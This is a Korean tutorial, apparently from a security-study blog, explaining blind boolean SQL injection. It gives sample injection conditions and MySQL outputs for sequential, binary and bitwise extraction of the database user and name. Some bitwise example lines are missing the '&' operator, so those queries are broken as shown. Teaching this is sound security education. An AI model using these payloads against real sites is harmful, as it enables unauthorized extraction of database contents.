UNION, ERROR Based SQLi 와 다르게 DB 질의 결과가 화면에 안 나오는 환경에서 사용한다.
예를 들어 SQLi 공격으로 로그인을 시도했는데 성공 또는 실패 응답만 확인할 수 있거나 게시판에서 idx=8 and 1=1
참이 되는 쿼리로 게시물을 요청하니 2023-06-30
날짜가 출력 되지만 idx=8 and 1=2
거짓이 되는 쿼리로 게시물을 요청하면 날짜가 출력 되지 않는다. 이처럼 HTTP 통신 응답 결과로 참과 거짓을 판별해 데이터를 추론해야 할 때 사용하는 공격 기법이다. 참과 거짓 조건을 판별해 데이터를 추론하기 때문에 속도가 매우 느려 UNION, ERROR Based SQLi를 사용할 수 없을 때 사용한다.
순차 탐색, 이진 탐색, 비트 탐색 모두 substring()
를 사용한다. 길이 값을 찾기 위해 length()
를 사용할 때도 있다. substring([대상 쿼리], N, 1)
에서 대상 쿼리는 system_user()
, select database()
와 같이 찾고자 하는 데이터를 질의하는 쿼리를 입력한다. N은 대상 쿼리가 찾는 값의 자릿수를 의미해 순차적으로 증가 시킨다.
substring(system_user(), N, 1)
순차 탐색
select substring(system_user(), 2, 1)
질의문을 작성하며 해당 질의문은 문자 o
를 반환한다.SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'a'
=> Empty Set
SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'b'
=> Empty Set
SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'r'
=> id : test (TRUE)
SELECT substring(system_user(), 1, 1)
=> system_user(root) : r
이진 탐색
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 80
=> id : test (TRUE)
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 100
=> id : test (TRUE)
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 115
=> Empty Set (FALSE)
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 113
=> id : test (TRUE)
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 114
=> Empty Set (FALSE)
SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) = 114
=> id : test (TRUE)
SELECT char(114)
=> char : r (FIND)
비트 연산
&
를 사용하며 &
는 대응되는 비트가 모두 1이면 1을 반환하는 AND 연산이다. ASCII 코드 값, 예를 들어 97의 2진수에서 자리가 1인 값을 모두 더해 문자로 변환한다. ASCII 코드 문자 범위는 32 ~ 126이기 때문에 비트 탐색 시 128은 확인할 필요가 없다.&
는 URL 인코딩을 하기 때문에 %26
으로 입력한다.SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&1=1
=> Empty set
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&2=2
=> Empty set
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&4=4
=> Empty set
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&8=8
=> Empty set
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))16=16
=> id : test (TRUE)
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))32=32
=> id : test (TRUE)
SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))64=64
=> id : test (TRUE)
SELECT char(16+32+64 using ascii)
=> p
using ascii
옵션을 사용해 문자를 반환하게 해야 한다.